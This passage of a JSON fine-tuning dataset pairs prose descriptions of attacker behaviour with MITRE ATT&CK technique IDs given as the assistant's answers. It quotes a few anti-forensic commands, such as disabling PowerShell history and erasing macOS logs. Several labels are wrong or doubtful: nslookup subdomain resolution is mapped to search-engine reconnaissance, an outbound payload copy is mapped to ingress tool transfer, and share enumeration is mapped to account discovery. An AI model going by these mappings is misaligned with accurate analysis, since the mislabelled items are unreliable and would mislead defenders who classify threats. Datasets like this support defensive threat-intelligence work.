            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker repeatedly sends malformed DNS queries to a Linux DNS server, overwhelming the process and leading to service exhaustion on the host."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a DLL into the temp directory, then uses ListPlanting to map it into a system process's address space for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious app accesses the Windows Vault to collect saved application passwords for later use."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious activity consists of altering the IFEO registry entries for rundll32.exe to inject a backdoor DLL, ensuring the backdoor loads whenever the system calls the utility."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise of a corporate DNS infrastructure enables the threat actor to perform domain hijacking and traffic redirection."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder appends a malicious alias to the user's .bash_aliases file, causing a Trojan to execute whenever a specific command is entered."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool extracts the contents of '/etc/resolv.conf' to discover configured DNS servers on the machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a cross‑site scripting (XSS) vulnerability in a social media site to steal session cookies of logged‑in users."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the com.apple.loginwindow.plist to include a script that runs a credential-stealing tool whenever the user signs in."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the 'nslookup' tool to resolve potential subdomains of the victim's domain."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider runs a script that empties database tables and purges transaction logs."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a signed firmware update mechanism to load a custom boot manager that maintains persistence."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group configures a new delegate in the victim's Exchange account, providing persistent access to the mailbox contents."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder utilizes MSBuild's project loading features to execute a payload via a trusted developer utilities proxy."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool checks the registry for the presence of antivirus product entries to determine defensive measures."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script abuses an unsecured API on a DNS management platform to add SPF records that point to attacker‑controlled mail servers."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware employed \"cmd /c\" to run \"fsutil dirty query C:\" and check the dirty bit of the volume."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the CPU for hypervisor-specific CPUID flags to determine if it is running inside a virtual machine."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queried the LSA secret storage via the LsaOpenPolicy and LsaEnumerateSecrets APIs to obtain clear‑text credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages 'systeminfo' combined with parsing of the 'System Services' section to enumerate services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a compromised Jenkins server to download build artifacts that embed API secrets."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the \"log delete\" command in macOS to remove entries from the system.log file."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the /etc/pam.d/sudo configuration, the threat actor allows any user in the \"wheel\" group to execute commands as root without authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a file system search for *.eml files in the user's profile and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Encoded payloads are transmitted using standard encoding schemes like Base64 or hexadecimal."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issues \"Set-PSReadlineOption -HistorySaveStyle SaveNothing\" and then clears the PowerShell command history to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights on a macOS machine, the adversary used \"log erase\" and removed entries from the unified logging system to hide malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use UNIX domain sockets to link a backdoor process with a privileged helper binary."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a signed but malicious DLL injected into the Terminal Services process to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised container accesses the internal metadata service to fetch the instance's service account credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a tool that parses the 'Login Data' and 'Web Data' files of Chromium browsers to collect passwords and autofill data."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a malicious DLL that hooks the Windows Credential Manager API (CredRead) to extract saved credentials from the system vault."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During infection, the malware uses Process Doppelgänging to bypass security controls by creating a process from a transacted file that is never written to disk."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit retrieves the system's network stack details, including MAC addresses and subnet masks, to understand the environment."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved calling odbcconf with a crafted .inf file to execute a payload via system binary proxy execution (T1218.008)."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .webp image is delivered via a chat application; opening the image causes the application to spawn a shell and download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a .vbs file that modifies scheduled tasks using Visual Basic commands to ensure persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware harvests documents from a shared OneDrive folder synced to the workstation."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder uses the Windows screensaver setting to point to a malicious executable, achieving event-triggered execution."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set employs the trusted development tool MSBuild to download and execute a remote script via the <Exec> task."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the Windows Admin Shares (C$) to copy malicious binaries to other servers."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes HTTP/2 multiplexing to send multiple command streams over a single connection."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary queries the local system clock to determine the current date and time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects malicious code into an open‑source library that is automatically pulled into the victim's build pipeline, resulting in compromised binaries."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary renames the security agent executable so that the system cannot locate and launch it at boot."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a script that automatically copies the victim’s browser history to any inserted removable media."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious DLL is installed as an AppCert component, which is automatically executed when a designated event trigger fires."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary launches a malicious binary that spoofs the name and parent process ID of a trusted system service, making it appear as a legitimate child of that service."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor queries the \"/Library/Extensions\" directory on macOS for kernel extension files (drivers)."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves token manipulation where the ParentProcessId is set to a trusted service, facilitating unauthorized actions."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a compromised EFI binary that re‑writes the boot sector to gain early code execution."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool is used after initial foothold to extract saved social media passwords from a victim's password manager."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group modifies the function address of the Windows Credential UI (CredUIConfirmPassword) to retrieve plaintext passwords."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a password guessing tool to test default credentials on IoT devices exposed to the internet."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the web portal’s login form, the adversary adds a hidden field that records entered credentials and exfiltrates them silently."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised insider uses a script to disable authentication services, causing a denial of service for all users."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals compromise the source code management system of a software vendor, inserting code that exfiltrates data when executed by downstream customers."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker repeatedly sends MFA push notifications to the target's device, hoping the user will approve one out of fatigue (MFA request generation)."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion scenario involves copying encrypted configuration files to a removable SD card, which is then physically taken out of the secure facility for decryption."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors configure Outlook to load a malicious HTML page as the Home Page on startup, enabling persistence through the Office Application Startup technique."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to enumerate network shares and copy ransomware to other systems."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious LibreOffice template with embedded Python script is distributed, causing execution when the user creates a new spreadsheet."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary copies a ransomware payload from a compromised system to a remote server using PowerShell's Invoke-WebRequest."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses WMI event subscriptions to maintain persistence while evading detection."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the malware appends a scheduled task that writes a malicious line to the PowerShell \\$PROFILE file, achieving persistence via profile execution."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses PowerShell to stop the Windows Event Forwarding service in Azure VMs, halting remote log aggregation."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor distributes a fake installer that replaces the system's legitimate SSH client binary with a backdoored version."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employed a Unix shell to run 'chmod' commands, making critical binaries world-writable."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a startup script to change Outlook's Home Page setting to a phishing landing page for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Brief description: uses non-application protocols for command and control."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy malware variant uses process hollowing: it launches cmd.exe in a suspended state, unmaps its executable image, and writes its own payload before resuming."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors send tailored emails with a link to a fake cloud service login page, collecting usernames and passwords via a spearphishing service."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary reuses a stolen SSH private key to gain unauthorized shell access."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group collects information from closed‑source government archives to map out critical infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group creates a modular malware framework that can load additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan communicates with a web service that supports both inbound data uploads and outbound command delivery, enabling seamless two-way interaction for the attacker."
            },
            {
